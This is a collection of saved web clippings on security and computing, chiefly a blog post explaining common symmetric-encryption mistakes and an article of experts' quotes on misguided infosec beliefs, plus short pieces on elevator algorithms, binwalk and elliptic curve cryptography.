3. Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 3A: System Programming Guide, Part 1, 5.12.1.1: Exception- or Interrupt-Handler Procedures [↩]
4. http://lxr.linux.no/linux+v2.6.30/arch/x86/kernel/head64.c#L89 [↩]
5. http://lxr.linux.no/linux+v2.6.29/init/main.c#L590 [↩]
6. http://lxr.linux.no/linux+v2.6.29/arch/x86/kernel/traps.c#L953 [↩]
7. http://lxr.linux.no/linux+v2.6.29/arch/x86/kernel/entry_64.S#L1028 [↩]
8. http://lxr.linux.no/linux+v2.6.29/arch/x86/kernel/entry_64.S#L1121 [↩]
9. http://lxr.linux.no/linux+v2.6.29/arch/x86/kernel/traps.c#L236 [↩]
﻿http://blog.cryptographyengineering.com/2011/11/how-not-to-use-symmetric-encryption.html 
A Few Thoughts on Cryptographic Engineering: How (not) to use symmetric encryption
Created:
1/3/2012 4:28:58 PM
Updated:
1/3/2012 4:28:58 PM
Author:

Tags:
crypto howto


How (not) to use symmetric encryption 



T
This is supposed to be a blog about cryptographic engineering. That means crypto, but it also means software engineering, protocol design, HCI and hardware engineering (fair warning: my hardware experience mostly consists of solder burns).

And yet, in describing the attacks of the past few weeks, I've mostly been talking about basic symmetric encryption. This seems to be an area that people get wrong, no matter how straightforward it sounds.

So at the risk of boring my readership to tears -- I'm going to spend the next two posts talking about the dos and don'ts of symmetric encryption, particularly symmetric encryption with block ciphers. I may also branch out a little into key derivation and management, but I know you'll be understanding.

I realize that for some of you this may not make for scintillating reading, but here's my thinking: we do it once now, we'll never have to discuss it again. Right?

Excellent. In this first post I'm going to start with the don'ts. 
Symmetric Encryption Don't #1: Don't encrypt with ECB mode
Block ciphers are designed to process discrete chunks of data. For example, AES works on 128-bit blocks. To encrypt longer messages with them, we use one of several "modes of operation". These modes are not all created equal.




 Tux image: Larry Ewing. (I will not
thank the GIMP, no matter what
his license says.)
ECB (Electronic Codebook) mode is by far the stupidest. Essentially you're just chopping the message up into blocks, then using the raw block cipher to encipher each block individually. There are two problems with ECB mode: 
1. It's not randomized. This means that anytime you encrypt a given message under a key, you'll get exactly the same ciphertext. This goes for substrings of the message as well.
 
2. It treats each block of the message independently. As a result, some of the structure of the message can leak through. This includes things like padding, which will produce predictable patterns in the ciphertext.

The first point can be a problem in some circumstances. Imagine, for example, that you're sending a relatively small number of messages (e.g., commands for a remote system). Every time you send a given command, you're sending exactly the same ciphertext. This gets obvious pretty fast.



I would say that the second problem is the more serious one. Perhaps you've seen Wikipedia's classic image of an ECB-mode encrypted TIFF file (right). But probably this seemed a little contrived to you -- after all, who uses TIFF files anymore?
So allow me to give my favorite example of why ECB mode is problematic. This image comes from a software packaging system that used ECB mode to encrypt executable files. All I've done is open one of those encrypted files as a raw bitmap image. You'll have to squint a little.

An executable file encrypted using ECB mode. Click to see a larger version.
This doesn't give away the contents of the executable, but it gives a pretty good picture of where different segments are. Just look for the funny patterns and tire tracks. Just having this little bit of information might give you a nice head start on finding those segments when they're in memory, which is potentially what you're going to do next.
Symmetric Encryption Don't #2: Don't re-use your IVs
Every block cipher mode of operation except for ECB (which you shouldn't use!) employs a special per-message nonce called an Initialization Vector, or IV. The basic purpose of an IV is to ensure that the encryption function works differently every time; it adds an element of randomness, or at least unpredictability to your ciphertexts.


Unfortunately, developers seem genuinely stumped by IVs. Maybe this isn't their fault. Every mode of operation has slightly different rules about how to pick IVs, and a slightly different set of consequences for when you screw it up.
So let's start with something simple. No matter what mode you use, this kind of thing is never ok:


This chunk of bad advice comes from an ancient (and hopefully obsolete) version of the AACS specification. But it's hardly the exception. Grep for "IV" in the source repositories of just about any major software house, and I guarantee you'll find plenty of stuff like this.



Why is this a problem? Let me count the ways:
1. At a minimum, it eliminates any random behavior in the encryption scheme. With a fixed IV, a given message will always encrypt to the same ciphertext (if you're using the same key). This goes for two messages that are the same up to a certain point. See my discussion of ECB mode above for why this can be a problem.
 
2. If you're using a stream cipher mode of operation like CTR or OFB, it's a disaster. If you encrypt two different messages with the same key, and the IV is fixed, then an attacker can XOR two ciphertexts together. This will give them the XOR of the two underlying plaintexts. (Think this will be useless? I doubt it, especially if they're clever.)

By the way, this kind of thing also happens when people forget to change the IV when encrypting multiple versions of a file. Don't do that either.
 
3. If you're using a chaining mode like CBC, use of a fixed IV can still lead to plaintext recovery. See, for example, this chosen plaintext attack on TLS, which only requires the adversary know which IV is being used. This type of attack is pretty tricky to implement, but it's definitely possible.
 
4. It will make you look stupid and embarrass you when a professional audits your code.

Clearly some of these issues are application-specific. Maybe you don't think anyone will be able to leverage them. You might even be right -- in this version of the application. But sooner or later, you or a future developer will bolt on new features, deploy it in the cloud, or make it into a browser applet. When they do, all of these issues will magically go from theoretically vulnerable to stupidly vulnerable. 



And people will blame you. 
So how do you use IVs correctly? I'll talk about this more in my next post. But if you're really chomping at the bit, my advice is to take a look at the FIPS specification for block cipher modes. (I must warn you, however: please don't operate heavy machinery while reading these documents.) 
Symmetric Encryption Don't #3: Don't encrypt your IVs
So you've generated your IV correctly, you've used it correctly, but now you're hung up on a final question: what do I do with this darn thing?

As I've said, IVs make people nervous. People know they're not keys, but they're not ciphertexts either. They wonder: is this an important value? Should I just send it over the wire as it is? Hmm, just to be safe, I'd better encrypt it. Even if I'm wrong, it can't hurt. 



As this Reddit commenter can attest, what you don't know can hurt you. 



Here's a simple rule of thumb. IVs are not keys. They're not secret. If you've chosen the IV correctly, you can send it along with your ciphertext in the clear. You should authenticate it (see below), but you should never encrypt it.

The worst thing you can do is encrypt your IVs using the same key that you're using to encrypt messages. The absolute worst example is when you're using CTR mode encryption, and you make the mistake of encrypting your IV using ECB mode. When you do this, anyone can XOR the first block of ciphertext with the encrypted IV, and obtain the plaintext of that block.

These problems aren't limited to CTR. My advice: have faith in your IVs, and they'll have faith in you.
Symmetric Encryption Don't #4: Don't forget to authenticate your ciphertexts
Once upon a time cryptographers looked at encryption and authentication as two unrelated operations. Encryption was for protecting the confidentiality of your data, and authentication was used to keep people from tampering with it.*

Nowadays we know that the two are much more tightly linked. You may not care about people tampering with your data, but your encryption scheme just well might. The problem is active attacks. See here and here for just a couple of examples.

To make a long story short, many of the clever attacks on symmetric encryption schemes these days require an attacker to tamper with ciphertexts, then submit them to be decrypted. Even if the decryptor leaks just a tiny bit of information (e.g., is the padding correctly formatted, is the message properly formatted), that can be enough to gradually peel away the encryption and recover the plaintext.

Obviously you don't want this.

The very elegant solution is to authenticate your ciphertexts, and not just in any willy-nilly fashion. There are basically two approaches that won't lead to heartburn down the road: 
1. Best: use an authenticated mode of operation, such as GCM, CCM, OCB or EAX. These modes handle encryption and authentication in one go (and they can even authenticate some optional unencrypted 'associated' data for you). Best yet, they use a single key.
 
2. Almost as good: first encrypt your message using a secure mode of operation (say, CTR), then compute a Message Authentication Code (e.g., HMAC-SHA1) on the resulting ciphertext and its IV. Use two totally different keys to do this. And please, don't forget to MAC the darn IV!
What you should not do is apply the MAC to the plaintext. First of all, this won't necessarily prevent active attacks. Padding oracle attacks, for example, can still be leveraged against a scheme that authenticates the message (but not the padding). Furthermore, even if you MAC the padding, there's still a slim possibility of timing attacks against your implementation.
Symmetric Encryption Don't #5: Don't CBC-encrypt in real time
Let me use this space to reiterate that there's nothing wrong with CBC mode, provided that you use it correctly. The unfortunate thing about CBC mode is that there are many ways to use it incorrectly.

Knowing this, you shouldn't be surprised to hear that CBC is the most popular mode of operation.

This 'don't' is really a variant of point #2 above. CBC mode can be insecure when an attacker has the ability to submit chosen plaintexts to be encrypted, and if the encryption is on a live stream of data where the adversary can see the ciphertext blocks immediately after they come out (this is called 'online' encryption). This is because the adversary may learn the encryption of the previous plaintext block he submitted, which can allow him to craft the next plaintext block in a useful way.

If he can do this, he might be able to take some other ciphertext that he's intercepted, maul it, and feed it through the encryptor. This kind of attack is challenging, but given the right circumstances it's possible to decrypt the original message. This attack is called a blockwise chosen plaintext attack, and it's essentially what the BEAST attack does.

Symmetric Encryption Don't #6: Don't share a single key across many devices
A wise man once said that a secret is something you tell one other person. I'm not sure he realized it, but what he was saying is this: don't put the same symmetric key into a large number of devices (or software instances, etc.) if you want it to remain secret.

About the fastest way to lose security in a system is to spread a single key broadly and widely. It doesn't matter if you've embedded that key inside of a tamper-resistant chip, buried in a block of solid concrete, and/or placed it in a locked file cabinet with a sign saying 'beware of leopard'.

The probability of your system being compromised goes up exponentially with each additional copy of that key. If you're doing this in your current design, think hard about not doing it. 
Symmetric Encryption Don't #7: Don't pluralize your keys using XOR


(credit)
This one is really a flavor of #5, but a more subtle and stupid one.


Key 'pluralization' refers to a process where you obtain multiple distinct keys from a single master key, or 'seed'. Usually this is done using some strong cryptographic function, for example, a pseudo-random function.

This happens all over the place. For example: TLS does it to derive separate MAC and encryption keys from a master secret. But an extreme type of pluralization often occurs in large-scale systems that provide unique keys to a large number of users.

Think of a cellular provider distributing SIM cards, for example. A provider could generate millions of random authentication keys, distribute them to individual SIM cards, and then store the whole package in a back-end database. This works fine, but they'd have to store this database and do a lookup everytime someone contacts them to authorize a phone call.

Alternatively, they could start with one short master seed, then pluralize to derive each of the SIM keys on demand. This process would take as input the seed plus some auxiliary value (like the subscriber ID), and would output a key for that user. The advantage is that you no longer need to keep a huge database around -- just the tiny initial seed.

This approach is so tempting that sometimes people forget about the 'strong cryptographic function' part, and they derive their keys using tools that aren't so secure. For example, they might just XOR the master seed with the subscriber or device ID.

No, you say, nobody could be that dumb. And yet KeeLoq was. Millions of cars keys were provisioned with cryptographic keys that were generated this way. It turns out that if you can extract any one of those per-car keys, and if you know the device's serial number, you can easily recover the master key -- which means you can break into any other car.
Symmetric Encryption Don't #8: Don't use DES or RC4 or @#(*&@!

Ok, I said this was mostly going to be about block ciphers. DES fits that category, and I hope you know why not to use it. But RC4 also deserves a special mention just for being the world's most popular dubious stream cipher.



RC4 shows up everywhere. It shows up in products. It shows up in malware. Basically, it shows up anywhere someone needed crypto, but was too lazy to download a copy of AES. Hell, I've used it myself -- um, for personal reasons, not for work, mind you.
If you use RC4 correctly, it's probably ok. For now. The problem is twofold. First of all, cryptanalysts are slowly chipping away at it -- sooner or later they're going to make some serious progress. 



The second problem is that it's not always used securely. Why not? You might as well ask why crystal meth laboratories tend to explode. I'm guessing that the set of people who are cautious when mixing volatile chemicals simply doesn't overlap well with the set of people who cook methamphetamine. Ditto RC4 and proper usage.



I could waste a lot of time going on about all of this, but instead I'm just going to quote Thomas Ptacek:
if you see a bespoke crypto design, and it dates from after 2000, and it uses RC4, that’s an audit flag.

Now if Thomas says this about RC4, what do you think he's going to say about your homebrew protocol based on the Russian GOST cipher? That's right: nothing nice. Don't let it happen to you.

In Summary

So this is where I leave you. I doubt this list is complete -- I'll try to update it if I think of anything else. At the very least, if we could fix these issues it would knock out a healthy chunk of the silly crypto issues I see on a day to day basis.

Oh, and a pony too.

Ok, so, I'm a little skeptical that all of these problems will go away that easily, but I'd be content with even just one or two of the points. So if you're designing a new crypto product and could spare a minute just to glance at the above, you would certainly make my day.

Notes:

* Honestly, there was even a certain amount of confusion on this point. If you look at old protocols like  Needham-Schroeder, you'll see that they basically treat encryption as authentication. Don't do this. Most common modes of operation are malleable, meaning that you can mess with the ciphertext, cut and paste different ones, etc.

﻿http://www.lisazhang.ca/2009/12/elevator-algorithms.html 
A Notebook: Elevator Algorithms
Created:
12/16/2011 3:08:45 PM
Updated:
12/16/2011 3:08:45 PM
Author:

Tags:
performance


Elevator Algorithms



In Philadelphia, I spent a lot of time waiting for elevators. I inevitably paid a lot of attention to the control algorithms used by different elevators in different buildings.

All elevator algorithms solve the same type of optimization problem: given that a building has n floors and m elevators, how could we most efficiently move people up/down the floors? I'm sure you already know of the simple algorithm that every elevator implements, but one can definitely improve on this. Here's one improvement someone tried to make. 
Example #1:
This building has one elevator, and 8 floors. The elevator was made to move back to floor 4 when it is idle.
This is an intuitive solution. Since there are n floors where people could call the elevator, why not minimize the wait time by making the elevator go back to floor n/2 when it is idle? The problem with this argument is that it assumes that an elevator is equally likely to be called from any of the n floors, which is not true. In most cases, people who use the elevator would use it to either go down to ground floor from the floor they're at, or up from ground floor to the floor they should be in. This means that approximately half the time, elevator request would occur at the ground floor. A better design is the following: 
Example #2:
There are no more than 10 floors (I believe it was less), and about 6 elevators. When an elevator is idle, it moves to the ground floor, and opens its door.
This speeds things up a lot. Not only could you avoid waiting for the elevator to get to the ground floor, you don't even have to press the button and wait for the door to open! I thought that this was a great idea! (An acquaintance pointed out, though, that unsuspecting people might mistakenly think that the elevator is broken. Well then...)

The algorithm used in example #2 focuses a lot more on people going up as compared to people going down. I think this makes sense. Going up stairs takes a lot more effort than going down stairs, so people are more likely to use the elevator to go up. However in a building with more floors, more people would want to use the elevator to go down, so having all the elevators in ground floor is not going to help. Here's a solution that seems to work well: 
Example #3:
This building has two elevators and ~12 floors. It is programmed to ensure that at least one elevator is on the ground floor at any given time. The other elevator is often seen on floor 6, but I'm not sure if there's a pattern here.
This makes a lot of sense. The first elevator takes care of the case where people want to go up from floor 1. The second elevator takes care of the case where people would want to go down, and since the elevator is at floor 6, the wait time is reduced.

For small n and m, I really can't think of a better solution than the one used in example #3. For larger n and m, though, it becomes more complicated: 
Example #4:
This building has about 38 floors, and at least 12 elevators. The elevators are divided into two groups: the first group goes to floors up to 22. The second elevator skips all the floors until floor 22, so it stops at floors 22-38 (and the ground floor).
It would be quite disastrous if the elevators aren't organized this way. Imagine working on the top floor and having to wait for the elevator to stop at every floor in between! This elevator is designed to go super fast from the first to the 22nd floor, making things even more efficient.

All of these examples are real. What I don't understand is why so many buildings do not have these optimizations built into their elevators. Implementing these changes cost almost nothing, but can save a lot of peoples' time in the long run.

End of Entry 




﻿http://feedly.com/e/ccPFnoRE 
3D Binary Visualizations With Binwalk
Created:
12/3/2013 8:54:15 AM
Updated:
12/3/2013 8:54:15 AM
Author:

Tags:
visualization binary


3D Binary Visualizations With Binwalk 
/dev/ttyS0 Follow 
3D Binary Visualizations With Binwalk
/ Craig / 11 hours ago 
Just added some fun 3D binary visualization features to binwalk. Read more about it here .


Visualizing AVR32 code
About /dev/ttyS0
Embedded Device Hacking
1K readers in feedly 
#security #reverse engineering #hacking #tech #programming
Shared via feedly 
 
﻿http://theartofthehack.com/20-of-the-most-misguided-beliefs-about-infosec/ 
20 of the most misguided beliefs about InfoSec
Created:
9/10/2015 1:52:26 PM
Updated:
9/10/2015 1:52:26 PM
Author:

Tags:
opinion


02September

   
20 OF THE MOST MISGUIDED BELIEFS ABOUT INFOSEC
By David Spark 
The InfoSec landscape is littered with security theories with questionable validity. Believing these supposed truisms isn’t making us feel any safer. In a recent Citrix Security Survey, 84 percent of Americans think their personal information is more vulnerable than a year ago.
We need to rethink many of security’s mantras. I reached out to dozens of industry experts for their top security fallacy. Here are our 20 favorites. Read and reconsider.
1: CERTAIN PLATFORMS ARE MORE SECURE THAN OTHERS
We’ve all been led to believe that Microsoft software is a target for hackers, and that it’s far safer to use a Mac or open source software.
According to studies conducted by the National Vulnerability Database and Shavlik, “85 percent of vulnerabilities are in non-OS non-Microsoft applications,” said Chris Goettl (@ShavlikProtect), Shavlik’s product manager.
“The misconception [of why Mac is more secure than Windows] stems from the fact that hackers who target Apple usually are out for a different goal like exploiting the iOS and iTunes stores,” said Goettl.
The vulnerability isn’t the platform. It’s aging software.
“Software sours like milk. The longer it’s out there the more likely it is to be exploited,” added Goettl.
Mike Pittenger (@black_duck_sw), VP, open source security strategy, Black Duck Software, advises users to “avoid adding 3rd party code with known vulnerabilities to your applications, whether they’re open source or commercial.”
2: MOBILE DEVICES ARE NOT A SECURITY CONCERN
“By nature of being both personal and corporate devices – and that they connect to a range of secure and unsecure networks – mobile devices can encounter a fair amount of threats that put both the data and the organization at risk,” said Aaron Cockerill (@aaron_cockerill), VP of products, Lookout.
A Lookout study of 25 different Fortune 500 companies found 5 percent of Android devices had serious vulnerabilities over the course of one year. iPhones are no safer, as 39 percent of iOS devices are currently running an outdated OS, and therefore have unpatched operating systems (source: MixPanel).
A simple look at the iOS 8.1.4 updates shows a panoply of security issues, noted Adam Ely (@adamely), co-founder, Bluebox Security.
For those who do believe that mobile is a threat, they may mistakenly believe it’s only from mobile malware. The real problem stems from users not understanding how to manage their mobile devices, warned Eamonn Colman (@computenext), director of marketing for ComputeNext, who pointed out that Gartner predicts that by 2017 75% of mobile security breaches will be a result of mobile application misconfiguration.
3: YOU DON’T NEED TO SECURE NON-SENSITIVE DATA
“Every cloud app – regardless of the data it stores – presents a risk for compromised credentials which can have a negative ripple effect,” warned Sanjay Beri (@sanjberi), CEO and founder of Netskope. “This is especially true when considering smaller ‘ecosystem’ apps that connect to larger, better known collaboration or social apps, which may contain more sensitive business information.”
This belief trends into the dangerous practice of data classification, or prioritizing your investments for systems that manage your most sensitive and critical data.
“The classification and prioritization exercise can blind you to your actual attack surface,” explained Wendy Nather (@RCISCWendy), research director, Retail Cyber Intelligence Sharing Center (R-CISC). “Many breaches today happen through lateral movement: attackers exploit vulnerabilities in less-critical infrastructure, and then find their way to the real target.”
4: TOO BIG TO FAIL
One well-known but false InfoSec belief is that “large businesses will always take every measure possible to safeguard their information, since they’ve got the most to lose,” said Alex Monteiro (@Amanahtech), marketing manager with Amanah Tech.
“There’s no way a company that big doesn’t have a lot of security talent, so I don’t need to worry about security,” echoed Davi Ottenheimer (@daviottenheimer), founder, flyingpenguin.
“The reality is as an organization gets larger, it inevitably starts to grow more complex. And as it starts to grow more complex, the chances that something will go wrong [increase],” explained Monteiro. “Large organizations need to be more careful than small organizations where security’s concerned; not because they’ve got more to lose, but because there’s more that goes wrong.”
5: JUST SECURE THE PERIMETER
“No matter how much work you put into designing your network and firewall, there’s always a vulnerability somewhere. To believe otherwise is to get complacent,” said Daniel Page (@aseohosting), marketing manager of ASEOHosting.
“I still hear people inaccurately describe networks as ‘secure.’ Their misconception of network security primarily stems from the fact that they simply don’t understand just how large the network actually is,” said Serge Baluyot, web designer, Doubledot Media Limited.
“A combination of people, devices, and social media connections creates a fantastically complex attack surface that cyber thieves can exploit,” explained Greg Mancusi-Ungaro (@gmancusiungaro), CMO of BrandProtect.
“[Eventually,] data escapes,” alerted Ian Rowlands (@IanFL), VP of product management for ASG Software Solutions. “Well-intentioned people, trying to get their jobs done, will share supposedly secure information. Others will create and maintain valuable information outside the perimeter.”
“The problem with emphasizing perimeter-only security is that once a hacker gets in, all bets are off,” added Perry Dickau (@DataGravityInc), director of product management for DataGravity.
6: EVERY ATTACK IS SOPHISTICATED
While the Toronto police claim the Ashley Madison attack was “very sophisticated,” Impact Team, the perpetrators of the hack, admitted that the company’s security was “Bad. Nobody was watching... You could use ‘Pass1234’ from the Internet to VPN to root on all servers.”
“Time is too often wasted searching for traces of sophisticated avenues of attack from the elite hacker, while ignoring things like weak admin passwords on sensitive data repositories,” said Mark Stevens (@DigitalGuardian), VP of global services for Digital Guardian.
Even when we’re explicitly told about the simplicity of an attack, no company wants to admit to simple vulnerabilities.
“Most of the wildly spectacular and publicized security breaches of late were surprisingly underwhelming from a sophistication perspective,” said John Vecchi (@sudoapp), co-founder, Anonyome. “Today’s threats and attacks are far more targeted than they are advanced.”
“Criminals keep phishing because it works,” concurred Craig Sanderson (@infoblox), senior director of security products, Infoblox.
“Why bother trying to seek out a security hole in a business’ software when you can have some unsuspecting mark simply let you in,” asked Zac Cogswell (@wiredtree), CEO of WiredTree.
7: NO MATTER WHAT YOU DO, YOU’RE VULNERABLE
“People who read news headlines with ‘hacking’ in the title have come to assume that everything is vulnerable, everything can be hacked, and there’s nothing they can do about it,” said Adrian Sanabria (@sawaba), senior analyst, enterprise security practice, 451 Research.
It’s a belief held by 69 percent of Americans.
“We have gotten away from the basic blocking and tackling that we used to do as a matter of course,” said Rick Howard (@RaceBannon99), CSO of Palo Alto Networks. “The security vendor community has abdicated any kind of threat prevention technology saying to customers that your only hope is to detect and mitigate.”
“If your strategy is ‘detect and respond,’ when the inevitable really bad thing happens to your organization, your CEO and your board are not going to be very tolerant of your strategy,” noted Eric Cowperthwaite (@e_cowperthwaite), VP, advanced security & strategy, Core Security.
8: I’M NOT A TARGET FOR HACKERS
“You do not have to be big to be a target,” said Marc Malizia (@marcM0313), CTO of RKON. Hackers sometimes just “target IP addresses, not companies.”
“It’s not personal. It’s not a guy at a keyboard,” added John Thompson (@ThreatSTOP), director, systems engineering, ThreatSTOP. “The attackers launch methodical scans looking for unprotected endpoints—anything online.”
They may not want to infiltrate your data, but rather use you as a tool.
“Anyone’s computer can be compromised and enlisted as a part of a ‘botnet army’ that can wreak havoc on the Internet,” explained Dwayne Melançon (@ThatDwayne), CTO, Tripwire.
9: NEVER WRITE DOWN YOUR PASSWORD
“We can’t expect people to remember every crazy 20-character password,” said Andrew Storms (@st0rmz), VP, security services, New Context. “Password managers are just another form of writing down your passwords.”
“Write down the passwords and move that piece of paper away from the computer in a secure location. That will give you the security of strong passwords,” added Ben Rothke (@benrothke), senior eGRC consultant, Nettitude Group.
10: THE CLOUD ISN’T/IS AS SAFE AS AN ON-PREMISE NETWORK
“There are many people out there who are [skeptical of] the cloud and bring up security as a concern,” noted Max Dufour (@maxdufour), partner, technology & strategy, Harmeda.
This fallacy has been echoed from many security pros.
“Hospitals use the cloud. Banks use the cloud. Government agencies use the cloud. These are organizations with some of the highest security requirements in the world. If they think cloud computing’s safe to use, it’s pretty clear the ‘cloud as less secure’ notion is a myth,” said Stephane Maarek (@outscaleinc), VP, North America, Outscale.
“Paradoxically, another myth is that cloud-hosted systems are automatically more secure than on-prem data centers. Organizations figure that security is now the provider’s responsibility, freeing them from responsibility,” said Don Maclean (@DLTSolutions), chief cybersecurity technologist, DLT Solutions.
“Whether or not moving to the cloud will improve your security or not depends on what shape it’s in today, what service you will use, how well you design the overall solution, and how you manage the migration,” said Scott Feuless (@ISG_News), principal consultant, ISG.
“Attention to secure design, deployment and operation at the application level is critical to the security of the overall solution, regardless of where it’s deployed,” added Ian Hamilton (@signiant), CTO, Signiant.
11: MOST HACKS COME FROM THE OUTSIDE
“One mistake or error in judgment can undo millions in IT security dollars,” said James L. Bindseil (@globalscape), president and CEO of Globalscape. “Careless insiders are the biggest security threat facing companies these days.”
“Whether it’s poor password management, untrained phishing targets, or a lack of security on mobile devices, lax information governance practices within your organization are a more likely cause of data breaches,” noted Eric Mosca (@InOutsource), director of operations for InOutsource.
In a study by the Ponemon Institute, 78 percent of respondents say negligent or malicious employees or other insiders have been responsible for at least one data breach within their organizations over the past two years.
“The careless insider is quite possibly just a symptom,” explained Bindseil of this unfortunate trend. “The root cause is likely that you have either not given employees the tools to do work in the way that they want to or you have made it so difficult that it is easier to go around and later ‘ask for forgiveness’ rather than ‘ask for permission.’”
12: TOOLS ARE THE ANSWER TO YOUR SECURITY PROBLEM
“Organizations plagued with security issues and incidents believe that just ‘one more tool’ will close elusive gaps and end their security problems forever,” said Peter H. Gregory (@peterhgregory), director, information security, office of the CISO, Optiv Security.
“Even with the most powerful security technologies,” added Corey Nachreiner (@watchguardtech), CTO of WatchGuard Technologies, “it’s still up to humans to configure, monitor, and maintain them properly for them to work effectively.
“Companies have a saturation point for how many technologies they can support,” said Robb Reck (@robbreck), CISO, Pulte Insurance Services. “When we add another technology without the appropriate personnel resources to support it, we not only won’t get the value out of that product, but we often reduce the value of all of our other products, because we take our eye off the ball.”
13: CYBERSECURITY IS THE IT DEPARTMENT’S RESPONSIBILITY
“Until organizations adopt a culture of cybersecurity that is promulgated vertically and horizontally across the organization, the adversary will always win,” argued Montana Williams (@thecybercowboy), senior manager of cybersecurity practices, ISACA.
Alex Rice (@senorarroz), co-founder and CTO of HackerOne, goes so far as to say cybersecurity is a communal responsibility: “The most secure organizations have come to the realization that they cannot achieve security in isolation and have adopted an approach of transparency, collaboration, and rapid response.”
14: ANTIVIRUS PROGRAMS WILL KEEP YOU SAFE
“An antivirus program is just one component in the security mix,” said Pavel Krcma (@stickypassword), CTO, Sticky Password. “Its success rate is about 99.5% which means you have a 1 in 200 chance that you be attacked by some malware. In other words – it’s just matter of time.”
According to Grant Sainsbury (@gsainsbury), VP of advanced solutions, Dimension Data, many companies believe they can supplant poor patch management of known vulnerabilities by running an antivirus program.
Of the hundreds of penetration and vulnerability assessments Dimension Data conducts, “missing security patches are by far the most common cause of our testers being able to compromise systems,” said Sainsbury.
15: ATTACKS HAPPEN AT LIGHTNING SPEED
“In many security professionals’ minds and consumers’ minds, there is this concept that the security battle is won or lost in milliseconds; that once the exploit’s payload is delivered, it is all over,” said 451 Research’s Sanabria.
“Serious, strategic intrusions play out as campaigns, over days, weeks, months, and sometimes years,” said Richard Bejtlich (@TAOSecurity), chief security strategist at FireEye, and blogger at TAO Security. “I advocate being able to detect and respond to intrusions within one hour, to prevent those intrusions from becoming breaches, where intruders destroy, alter, or steal data. Alert, resourced, well-led defenders do not need to act ‘at lightning speed’ in order to win.”
16: BETTER DETECTION WILL SOLVE SECURITY ISSUES
“We now live in a ‘post-prevention’ world,” said Anonyome’s Vecchi. “What used to protect us has stopped working long ago, so ‘preventing’ security breaches and data loss from enemies without and within is no longer realistic.”
Vecchi isn’t advocating you give up using detection systems such as firewalls, antivirus, and intrusion prevention systems (IPS).
“Common, everyday ‘known’ attacks and malware still need to be stopped and these tools are critical at eliminating the low-hanging fruit,” said Vecchi.
But a detection-only security program can’t be the solution to your security ills.
“Detection will fail – with certainty,” argued Simon Crosby (@simoncrosby), CTO of Bromium, who references the 2013 Target hack for which installed detection systems alerted the security team of the intrusion, yet nothing was done.
The problem, said Crosby, is that “state of the art detection systems frequently bury alerts for actual attacks in a haystack of false-alerts. Security teams may easily fail to notice signs of an actual attack as they scurry about remediating non-attacked systems.”
17: YOU JUST NEED GOOD PASSWORD MANAGEMENT
“If you tell your users to change their passwords once a month, they’re going to use ‘PasswordJan,’ ‘PasswordFeb,’ ‘PasswordMar,’” said Graham Cluley (@gcluley), cybercrime researcher and blogger at GrahamCluley.com. “The time to change your passwords is when you believe that your password has been breached, or if you wake up in a cold sweat one night realizing that you chose a dumb, easy-to-crack password, or one that you have reused somewhere else.”
“Another scary yet common fallacy is that passwords are secure,” said Scott Teger (@scottteger), VP of operations, 36 Labs. “I have seen firsthand that passwords are all too often being stored unencrypted. With passwords living in plaintext, they are very easy to become compromised by employees, whether they’re on the engineering team or not.”
“The more important thing is to use unique passwords,” said Sticky Password’s Krcma. “If an attacker hits a service you are using and steals your password, it’s not important if you had a strong password. What’s of the utmost importance is if this password was used only on this service or whether that attacker can use it for all your other accounts and gain easy access.”
18: YOU CAN DEAL WITH SECURITY LATER
“With most things in IT, if you push it off until later it’s doable.  With security, if you push it off until later, it’s going to be too late,” said Denny Cherry (@mrdenny), owner & principal consultant, Denny Cherry & Associates Consulting.
“If we don’t have time to do it correctly now, will we have time to do it over once it’s broken,” asked Marcus Ranum (@mjranum), CSO, Tenable Network Security. “Sometimes, building a system that is in constant need of repair means you will spend years investing in turd polish because you were unwilling to spend days getting the job done right in the first place.”
“Security has to be addressed up front, and not just once,” advised Cherry. “As systems change they need to be evaluated and modifications made to properly secure those changes.”
19: AS LONG AS I DON’T CLICK ON ANYTHING MALICIOUS, I’M SAFE
“Bad guys use legitimate ad networks on reputable sites like cnn.com to spread ads that infect you with malware without you ever clicking on anything,” warned Marcin Kleczynski (@mkleczynski), founder and CEO, Malwarebytes.
“Any website that serves advertising could be a potential infection vector, and even if you go only to legitimate websites from huge, well-known companies, you should still keep anti-virus installed and scan your computer regularly,” suggested Alex Mouravskiy (@AlexMouravskiy), CEO, Digital Remedy Repair.
20: WE’RE COMPLIANT, THEREFORE SECURE
“Constant compliance promotes a false sense of security and that can lead to complacency,” argued Tim Mullahy (@LibertyCenter1), general manager, Liberty Center One.
“Security is a moving target, and industry standards are constantly playing catch up,” added ISG’s Feuless.
“Security organizations are often depicted (and sometimes depict themselves) as needing to layer on process and control in order to ensure a highly secure environment... While process and control can give the semblance of security, they merely check boxes and give a false perception,” said Ariel Tseitlin (@atseitlin), partner, Scale Venture Partners. “In reality, agility, automation and visibility are much more effective than process and control.”
CONCLUSION: EDUCATE FALLACIES TODAY TO PREPARE FOR TOMORROW’S VULNERABILITIES
“It’s a fixed idea in IT teams that users are stupid, and because of that they cause all kinds of problems. ‘You can’t patch stupid’ is a security fallacy,” argued Stu Sjouwerman (@StuAllard), founder and CEO, KnowBe4. “Users aren’t stupid. They are just highly trained in another area. Getting end-users stepped through effective security awareness training is a tremendous help in keeping networks safe.”


﻿http://cwe.mitre.org/top25/archive/2010/2010_cwe_sans_top25.pdf 
2010 CWE/SANS Top 25 Most Dangerous Programming Errors
Created:
2/17/2010 8:03:18 PM
Updated:
2/17/2010 8:03:39 PM
Author:

Tags:
programming


﻿http://arstechnica.com/security/2013/10/a-relatively-easy-to-understand-primer-on-elliptic-curve-cryptography/ 
A (relatively easy to understand) primer on elliptic curve cryptography | Ars Technica
Created:
11/6/2013 3:36:38 PM
Updated:
11/6/2013 3:36:38 PM
Author:

Tags:
crypto


A (relatively easy to understand) primer on elliptic curve cryptography 
Everything you wanted to know about the next generation of public key crypto.
by Nick Sullivan Oct 24 2013, 10:07pm CEST 

Cloudflare 
Author Nick Sullivan worked for six years at Apple on many of its most important cryptography efforts before recently joining CloudFlare, where he is a systems engineer. He has a degree in mathematics from the University of Waterloo and a Masters in computer science with a concentration in cryptography from the University of Calgary. This post was originally written for the CloudFlare blog and has been lightly edited to appear on Ars.
Readers are reminded that elliptic curve cryptography is a set of algorithms for encrypting and decrypting data and exchanging cryptographic keys. Dual_EC_DRBG, the cryptographic standard suspected of containing a backdoor engineered by the National Security Agency , is a function that uses elliptic curve mathematics to generate a series of random-looking numbers from a seed. This primer comes two months after internationally recognized cryptographers called on peers around the world to adopt ECC to avert a possible "cryptopocalypse ."
